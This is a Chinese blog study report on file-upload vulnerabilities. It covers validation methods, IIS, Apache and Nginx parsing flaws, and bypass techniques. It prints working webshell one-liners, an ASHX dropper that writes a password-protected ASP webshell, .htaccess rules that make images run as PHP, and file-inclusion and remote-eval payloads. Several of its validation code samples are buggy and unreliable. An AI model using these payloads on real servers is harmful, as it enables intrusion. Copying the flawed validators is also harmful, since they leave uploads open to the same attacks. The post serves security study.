Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

第十四周:文件上传漏洞

任务标题:WEB安全之上传漏洞

1、编写一个上传图片的功能页面

2、针对上传的文件进行验证(后缀验证、文件头验证、文件名验证等)

3、文件上传通常会与文件解析漏洞相结合,可以收集整理存在解析漏洞的组件和相关版本,无法部署相关环境,可以学习相关技术,不用实际操作

扩展学习:学习如何绕过黑名单验证、文件头验证,如何杜绝上传图片的功能无法利用获取 shell ?

学习报告

0x01 文件上传简介

文件上传从字面意思很容易理解,就是指上传文件功能,但是当攻击者上传恶意文件时,如上传木马、病毒、恶意脚本、shell等就可能造成文件上传功能。关键在于我们在编写上传程序时是否有对用户上传的文件进行过滤,如果攻击者上传的恶意文件被服务器解析则会造成很大的危害。

文件上传常见的报文特点:

  1. multipart/form-data :form表单的enctype属性,规定为二进制数据
  2. boundary字符串: 作为分隔符用来区分POST数据
  3. name:input表单名
  4. Content-Type:定义文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件

0x02 常用验证方法

1. 后缀验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<head>
<title>后缀验证</title>
<script type="text.javascript">
funtion checkFile(){
var flag=false;
var str=document.getElementById("file").value;
str=str.substring(str.lastIndexOf('.')+1);
var arr=new Array('png','bmp','gif','jpg');
for(var i=0;i<arr.length;i++){
if(str=arr[i]){
flag=true;
}
}
if(!flag)
alert('file invalid');
}
return flag;
}
</script>
</head>
<body>
<form action="upload.php" method="post" onsubmit= checkFile
enctype="multpart/form-data">
<input type="file" name="file" id="file" /><br/>
<input type="submit" value="Submit" name="submit" />
</form>
</body>
</html>

通过编写js脚本可以对用户上传的文件进行后缀限制。从代码来看,只允许png、bmp、gif、jpg结尾的文件进行上传。但是现在这种方法一般不再使用,因为攻击可以通过前端禁用JS的方式直接绕过限制。

2. MIME验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($_FILES['file']['type']==" image/jpeg"){
$imageTempName=$_FILES['file']['tmp_name'];
$imageName=$_FILES['file']['name'];
$last=substr($imageName, strrpos($imageName,"."));
if(!is_dir("uploadFile")){
mkdir("uploadFile");
}
$imageName=md5($imageName).$last;
move_uploaded_file($imageName, "./uploadFile/".$imageName;
echo("Success");
}else{
echo("Fail");
exit();
}

MIME验证一般是在后端进行,MIME只的是文件类型,在上传数据的时候一般会在Content-Type中注明所上传的文件是什么类型,所以可以通过MIME对所上传的文件类型进行判断。

3. 拓展名验证

  • 白名单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    $Whitelist = array('jpg','jpge','bmp','gif','png');#白名单允许函数
    if(isset($_POST["submit"])){
    $name = $_FILES['file']['name'];
    $extension = substr(strrchr($name, "."), 1);
    $boo = true;
    foreach($Blacklist as $key => $value) {
    if ($value==$extension){
    $boo = false;
    break;
    }
    }
    if(!$boo){
    echo "file invalid";
    }
    }
    ?>

    白名单验证只允许上传已经定义过的拓展名,但是从目前的攻击手段来看也并不是完全安全的,如我们可以利用00截断绕过拓展名限定。

  • 黑名单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    $Blacklist = array('asp','php','jsp','php5','asa','aspx');#危险函数黑名单
    if(isset($_POST["submit"])){
    $name = $_FILES['file']['name'];
    $extension = substr(strrchr($name, "."), 1);
    $boo = false;
    foreach($Blacklist as $key => $value) {
    if ($value==$extension){
    $boo = true;
    break;
    }
    }
    if($boo){
    echo "file invalid";
    }
    }
    ?>

    黑名单验证通过验证一系列不安全的拓展名来对上传的文件类型进行判断,过滤掉危险文件。这种方法也有一定局限性,因为在进行黑名单填充的时候可能会忽略掉一些危险拓展名,如大小写不同的pHP或者加数字php2等等。

4. 文件头验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static {
//设立白名单
docMap = new HashMap<String,String>();
docMap.put("89504E47","png");//png
docMap.put("47494638","gif");//gif
docMap.put("49492A00","tif");//tif
docMap.put("D0CF11E0","xls_or_doc");//xls_or_doc
docMap.put("25504446","pdf");//pdf
docMap.put("52617221","rar");//rar
docMap.put("504B0304","zip");//zip
}

public static String getFileType(InputStream is){
String header = getFileHeader(is);
return getFileTypeByHeader(header);
}

public static String getFileTypeByHeader(String header){
return docMap.get(header);
}

文件头验证时借助文件幻数进行判断文件的类型。从代码中看首先通过file获取到文件流inputstream,获取到文件流后截取文件流的前四个字节并将其转成16进制,将得到的16进制全部转换成大写后与常见的文件类型头部进行比对就可以知道这个文件的真正类型了。

文件类型 头部信息
JPEG (jpg) FFD8FF
PNG (png) 89504E47
GIF (gif) 47494638
TIFF 49492A00
pdf 25504446
rar 52617221
zip 504B0304

0x03 文件解析漏洞

1. IIS解析漏洞

在IIS6.0的情况下有三种可以利用的手段

  • 建立*.asa*.asp格式的文件夹时其目录下的文件都会当做asp文件解析。
  • 当文件名为*.asp;1.jpg时,IIS会以ASP文件来解析,也就是说;起到了截断作用。
  • WebDav漏洞,借助put方法直接向服务器上传危险脚本

2. Apache解析漏洞

在Apache 1.X与Apache 2.X中如果碰到文件名为demo.php.test的文件会按php文件进行解析,根据Apache的解析规则,如果碰到不认识的拓展名便会进行遍历,直到碰到能够解析的拓展名。

在Apache根目录的coof/mime.types文件中有详细的可识别拓展名。

3. Nginx解析漏洞

在Nginx的服务器环境下,假如成功上传一张名为test.jpg的文件到网站根目录下,如果我们访问www.demo.com/test.jpg/test.php这个虚构的目录服务器则会直接将1.jpg作为php文件进行解析。

0x04 常见上传绕过方法

常用的一句话

  1. Asp一句话:<%eval request(“bu1”)%>
  2. Php 一句话:<%php @eval($_POST[bu1]);?>
  3. Aspx一句话:<%@ Page Languag=”bu1”%><%eval(Request.Item[“bu1”])%>

1. 黑名单绕过

  • 文件拓展名绕过

    1
    2
    3
    4
    Php除了可以解析php后缀 还可以解析php2,php3,php4 后缀
    Asp可解析 asa,cer,cdx
    Aspx可解析 ashx,asmx,ascx
    Jsp可解析jspx、jspf
  • .htaccess文件绕过

    1
    2
    3
    4
    重置解析名称,将png调成php解析,之后再将php后缀改为png上传。代码如下:
    <FilesMatch ".png">
    SetHandler application/x-httpd-php
    </FilesMatch>
  • ashx绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    cer,asa,cdx等等无法使用时候。编辑器允许上传ashx文件的或,上传这个脚本解析后就会生成一个test.asp的马,你就可以连接这个test.asp  密码为:put
    <%@ WebHandler Language="C#" Class="Handler" %>
    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";

    //这里会在目录下生成一个test.asp的文件
    StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
    //这里是写入一句话木马 密码是:ptu
    file1.Write("<%response.clear:execute request("put"):response.End%>");
    file1.Flush();
    file1.Close();
    }
    public bool IsReusable {
    get {
    return false;
    }
    }

    }

    #一般处理程序(HttpHandler)是·NET众多web组件的一种,ashx是其扩展名。一个httpHandler接受并处理一个http请求,类比于Java中的servlet。

  • 特殊文件名绕过

    1
    比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
  • windows流特性绕过

    1
    php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
  • 文件名大小写

    1
    有时黑名单没有对大小写进行特别的限定,因此我们可以给文件取名为PhP,AsP,JSp等待来尝试绕过。

2. 白名单绕过

  • 00截断绕过

    1
    php .jpg   空格二进制20改为00
  • IIS6.0目录路径检测绕过

    1
    2
    上传路径改为XXX/1.asp/
    tips:建立`*.asa`、`*.asp`格式的文件夹时其目录下的文件都会当做asp文件解析。
  • htaccess解析漏洞

    1
    2
    3
    上传的jpg文件都会以php格式解析
    .htaccess内容:
    AddType application/x-httpd-php .jpg
  • 突破MIME限制上传

    1
    方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。
  • 解析漏洞

    1
    Content-Disposition: form-data; name="file";  filename=php.php;.jpg
  • 下载绕过

    1
    2
    3
    4
    5
    远程下载文件绕过
    <?php
    $str = file_get_contents('http://127.0.0.1/test.txt');
    $str($_post['test']);
    ?>
  • 文件包含绕过

    1
    2
    3
    4
    上传图片木马
    $x=$_GET['x'];
    include($x);
    访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

0x05 参考链接